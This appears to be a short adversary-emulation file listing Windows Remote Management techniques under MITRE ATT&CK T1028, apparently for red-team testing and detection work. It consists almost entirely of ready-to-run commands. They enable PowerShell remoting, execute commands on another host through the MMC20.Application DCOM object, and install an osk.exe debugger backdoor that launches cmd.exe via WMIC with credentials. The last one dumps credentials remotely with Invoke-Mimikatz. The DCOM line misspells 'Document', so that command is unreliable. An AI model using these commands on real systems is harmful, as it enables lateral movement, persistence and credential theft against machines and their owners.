382d6313a3
Windows Matrix update + also fixed Dir names/paths
1.1 KiB
1.1 KiB
Windows Remote Management
MITRE ATT&CK Technique: T1028
Enable Windows Remote Management
Input:
powershell Enable-PSRemoting -Force
Powershell lateral movement using the mmc20 application com object
Input:
powershell.exe [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","<computer_name>")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7")
Reference:
WMIC Process Call Create
wmic /user:<username> /password:<password> /node:<computer_name> process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"
PowerSploit Invoke-Mimikatz WinRM
powershell-import /local/path/to/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1
powershell Invoke-Mimikatz -ComputerName TARGET
Reference:
https://blog.cobaltstrike.com/2015/07/22/winrm-is-my-remote-access-tool/